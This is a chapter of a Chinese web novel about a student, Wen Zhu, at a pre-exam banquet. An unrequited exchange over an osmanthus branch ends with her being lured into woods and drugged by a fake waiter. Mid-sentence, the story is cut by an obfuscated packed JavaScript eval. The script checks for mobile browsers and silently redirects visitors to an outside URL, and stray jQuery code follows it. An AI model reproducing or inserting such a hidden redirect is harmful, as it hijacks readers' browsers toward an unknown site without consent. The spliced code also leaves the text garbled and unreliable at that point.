她脑中天人激烈交战，片刻后像下了某种决心，抬头直视他：
“董大哥，我以后若问你试题的事儿，无论如何，你千万—务必—一定，一个字都不要告诉我！”
她郑重其事，董崇云失笑，才知道，她想的是这个。
闻竹笑不出来。
十年寒窗只在一道小小试题，或鱼跃龙门，或名落孙山……诱惑何等巨大？
为了向上爬，她可以不择手段，也已经做下了许多……但凭这种不入流方式走捷径，不仅会让董崇云看低了她，她也看不起自己。
“我说真的，”
见董生笑，以为他没当回事，为防被看出心底踌躇，她仓促低头：
“若有这种事……烦请董大哥骂醒我便是。”
“我先回去了。”
*
梅子静静卧在指尖，景濯抬手将其送进口中，清甜瞬间在口腔中炸开。除此之外，一种清苦草药味始终铺在甜味之下，难以捉摸。
景濯想起她的话，梅子里似是加了滋养补心的药材？
自作聪明。
景濯嗤笑，却又吃了一颗。
“公子，您为什么选了他呢？”
颐兰疑惑。
自家公子忙于公务，为新法奔走，忙得脚不沾地，却还愿意抽出时间为闻修之改文章。从不做无用功的公子，却对一个太学生如此宽容，实在有些少见。
杜颐兰打小跟着他，景濯并不避讳，从坛中又拈起一颗梅子：
“有野心，胆子大，敢做事，有几分才华——”
想起那少年的身影，杜颐兰似懂非懂地点头。
“——还有，毫无背景，”
景濯添了一句，若有所思：
“这是最要紧的。”
毫无倚仗，得不到任何助力，却存着向上爬的心。
只怕那闻修之自己也清楚，要想实现目的，只能投靠他景濯，只能无怨无悔地为新法冲锋陷阵。
景濯轻笑，胜券在握。
这种人，最好用了。
八月秋试如箭矢般架在弦上。
三年一试，要么一举高中，要么再候三年。太学学子们各怀心思，不约而同地在七月末开启了最后狂欢——
今夜樊楼好不热闹！碎金般丹桂下人头攒动，无数酒樽映出无数个冷月，画舫雕栏处处存薄香。
下月秋试，樊楼特意辟出数棵桂树，允许赴宴学子攀条折枝，取“蟾宫折桂”吉意。
闻竹握着桂枝，穿过游廊，路过层叠人群，拾级而上。
好多熟悉的、陌生的人。她远远看见廊下饮酒的胡暻，他刚巧抬头，勾起顽劣而单纯的笑，冲她的方向抬了抬酒壶。
闻竹回以颔首轻笑，便算打过招呼。
从胡府回来后，胡家的事情不了了之，胡澄也再未找过她，不知是否有胡衙内的功劳？
她从那顽劣青年身上收回目光，摇了摇头。
一切来得太晚，她最后才知，原来自己一直恨错了人。
随着情绪被时间冲淡，闻竹开始重新审视——
若腊月十五那天，没人像纪二郎那般拦她，她激愤之下，真把刀插进了胡暻的胸膛，会是什么后果？
只怕……她坟头已经长草了……
她自嘲一笑，每每想到这儿，那个人，以及贯穿于他掌心那道疤痕，总是一并窜进她脑海中。
其实，从天青寺回来后，他越发爱缠着她了。可闻竹是个忙人，近几月来，既要准备秋试、和鬼市商人做切割，还要花心思应付纪二郎，实在觉得烦躁。但因着这道疤，她偶尔良心发现，也觉对他不住，遂也愿耐着性子，不咸不淡地哄着。
就算这样，闻竹仍不觉得，自己对纪二郎怀有任何男女之情。
这样想着，不觉间行至阶梯尽头。
眼前是三层楼高的高台，宽阔无人，夜风簌簌更显得冷清。放眼望去，只有栏杆前一抹乍眼的白。
那儿坐着的身影无比熟悉，她轻手轻脚来到那人身后。
董崇云还在饮酒，并未发觉她的到来。闻竹玩心骤起，眼珠一转，抬手将桂枝绕到董崇云面前晃了晃。
枝叶拂过，鼻间萦绕淡淡的桂花香气，脸颊痒痒的。董崇云回首，桂枝那端是一张笑颜。
见她展颜，董生转身，心里柔软，轻倚着阑干，笑盈盈地望着她，“躲这么远做什么？拿近点儿，也让我闻闻桂香。”
董生不过来，闻竹微微挑眉，往前挪了几步，故意把桂枝抬了抬，几乎要戳到他脸上。
董生也没有接过的意思，唇角噙着淡淡笑意，就着她的手，微微低头轻嗅。
他本就高大，似觉着她拿得不够高，广袖轻抬，虚虚拉过她的手腕，又将桂枝向上带了带。
掌温透过腕部衣料传来，闻竹一时惊诧，望着那只骨节分明的手，不自然地眨了眨眼。
她想抽手，又不想认输，较劲般硬着头皮任他握着，目光在桂枝和他面庞上来回逡巡。
枝叶遮去他下半张脸，柔和了锋利的轮廓，高挺的鼻梁掩映在翠叶下，满枝丹桂之上，只漏出一双深邃凤目。
他半敛眸，似被秾烈的桂香侵染，眼底藏着情韵，少了成熟持重，多了风流蕴藉。
她平日从未见过他如此，正定定看着，谁知下一秒，手腕那端传来力道，不自主地调转方向，桂枝朝着她颈窝方向袭来。
“唔……”
闻竹才意识到，董生在将计就计地使坏儿，脱口惊呼，却没能躲过，冰凉的枝叶打在敏感的颈上，痒酥酥的。
她一阵战栗，下意识鹌鹑般缩起脖子，脸也红了半边，转眼便见董生冰川融化，倚着阑干，难得开怀大笑，笑得微微躬身。
见他计谋得逞，闻竹羞恼，气不打一处来，追着他报复，董生笑得从容，只使出三分力气拦她，让她狠狠拍了几下泄愤才作罢。
二人笑闹累了，董崇云让出身旁的位置，两人在矮几前并排坐下。
闻竹还有些气喘，收回远眺的目光，转头盯着他，笑道：
“‘庭中有奇树’，翠叶垂珠，素蕊浮香，董大哥不去看看？”
望着她怀中的枝条，目光温柔：
“有人替我看过，足够了。”
闻竹轻笑，没有看他，只低低瞧着桂枝：
“嗯，我看过了，这是最好看的一枝。”
说完这话，她将桂枝递到他面前，定定地望着他：
“我刚亲手折的，便想着来送给你。”
董崇云侧过头，垂着眼睛，她们离得很近，他抬手便可触到她怀中的桂枝。
桂叶绿的仿佛能滴出水来，令人不住去想，它在阳光下该是何等耀眼？
他抬手，感受枝叶穿过指缝，却是那样冰冷。
董崇云笑了。
闻竹越发看不懂，来不及想出合理的解释，他的手已从枝叶间抽回，转而拿起面前酒杯。
他笑得苦涩：
“它有自己的归处，不该在这里。送给我…实在可惜。”
董崇云彻底偏过头去，又为自己倒了杯酒，动作间广袖剐蹭，几片青绿欲滴的翠叶委地，闻竹的手不自觉颤了一下，盯着他侧脸，得不到任何回应。
闻竹越发搞不懂，一会儿像是在勾引她，一会又拒人于千里之外，究竟是什么意思？
身旁射来探询的目光，董生自顾喝酒，浑然不觉：
“‘浩浩阴阳移，年命如朝露。人生忽如寄，寿无金石固。’”
他倒上一杯酒，推到她面前，缓缓吟道：
“不如饮美酒，被服纨与素——”
目光落在杯里摇曳的酒液上，闻竹看了许久，缓缓放下桂枝，却也没有去接他递来的酒杯。
闻竹低头，心里念着这几句诗，乍然间明白了什么，突然笑起来。
这样很好。
桂枝被留在矮几上，酒液重又平静，映出一张氤氲面容。
闻竹不知自己怎样走下那一级级台阶，恍惚间再次回到折枝的桂树前，树下人影稀落，密实的树冠也萧索不少。
想起高台上的身影，她轻叹一声，垂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075549|172847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下眼帘，摇了摇头。
事已至此，又何必多说？她只顾着往前便是了。
正思索，身后有一男声叫她，闻竹回头看去，一陌生伙计带着讨巧的笑，向她作揖。
樊楼这种大酒楼，跑堂伙计穿得都一个样——一水儿的同色方巾，腰间系条青花布手巾。面前这伙计蓄须，身材矮小，面皮看着不老，脸上挂着标准的营业微笑：
“公子，有位姓纪的郎君托小人传话——邀您镜云池畔一会。”
她顿时懂了，伙计嘴里的“郎君”，除了那人还会是谁？
不知纪二郎又在搞什么，还没见到他人，她已能想象出纪宣端着腔调，一脸神秘的模样，无奈地笑：
“知道了，多谢。”
闻竹摸出铜板给他。正要前去，突然没了主意——
镜云池在哪儿？
*
今日难得没有和她同行，纪宣远远已瞧见闻竹身影，正要前去，斜里冲出一个人，两人撞在一块儿。
纪宣前襟一凉，低头看去，衣服被酒液洇湿了一大片，污渍在碧空色衣衫上格外明显。
一陌生学子正拿着空酒碗在他面前，面色僵硬，焦急无措地摆手：
“对不住对不住！小人给兄赔罪了！”
他抿了抿唇，重重一叹。此人无心之失，他不好说什么，只是看着胸前乍眼的污渍，大为无奈。
他今天特意选的衣衫，搞的这样狼狈……怎么去见她？
他踌躇不定，抬眼望去，闻竹走得也是快，一会儿便没了踪影。
据伙计所说，这镜云池因挖渠引水而成，位于园林东北，紧依着天风阁。
而宴会是摆在园子西侧，伙计遂带领闻竹，循路往北去。
明月高悬，耳旁丝竹管弦逐渐不可闻，越走越冷清。路线也迷宫似的七拐八绕，越向前行，树木越发高大茂密，遮蔽了惟余的月光。
就在伙计领她再次跨过被篱笆拦着的小路时，闻竹再也不肯往前。
不对啊，就算抄近路，也不用钻林子吧？
她勉力静心，停下脚步，装作惊诧：
“害，竟忘了件要事。”
伙计偏过头看她，整张脸被黑暗笼罩着，难辨其面色。
“今日早些时候，二郎曾说，要我带一壶桂酿——这下忘了可如何是好？我回去取罢！”
伙计笑道：
“郎君都已备好，公子不必忧心。”
对方毫不犹疑，一脸笃定，她的心反而霎时悬了起来。
一派胡言！她整天还没和纪宣见上一面，哪来的什么约定？
等着她的那人，绝对不是纪二郎。
还不跑？就是脑子要出问题！
念头与行动一齐萌生，没等对方把话说完，她脚下飞快一转，迅速向原路折返。
此处鲜有人至，与宴席处隔着好远距离。
闻竹心跳如擂鼓，一面跑，一面后悔察觉太晚，只能凭着记忆，拼命向来处奔去。
天杀的，是哪个要害她？
可跑了一会儿，除了耳畔风声，身后没有传来一丝声响，伙计并没有追来。
闻竹依旧不敢懈怠半分，一路往回狂奔。
周遭照旧一片死寂，闻竹甚至开始怀疑是自己疑神疑鬼，冤枉了好人？
正想着，像要证明她所疑非虚，路旁一阵窸窣，漆黑林木中霎时窜出一团硕大黑影，不知是人是鬼是兽，摇晃着向她扑来。
闻竹惊叫着躲开，一步迈出三步距离。
黑影远比她更快，身后几下重重脚步声，闻竹的肩膀已然被扣住，向后重重一拉，随即传来堪比脱臼的剧痛。
啊——
闻竹没来得及痛叫出声，一只人手拿到她面前，口鼻即刻被粗糙的麻布紧紧覆住。
一切太快！闻竹来不及屏息，刺鼻气味已然涌入鼻腔，冲得她眼泪直流。
她一阵犯恶心，脑子晕乎乎的，仍强撑着辨认——
这种气味……她曾在鬼市王大眼身上闻到过，正是人贩子常用的蒙汗药！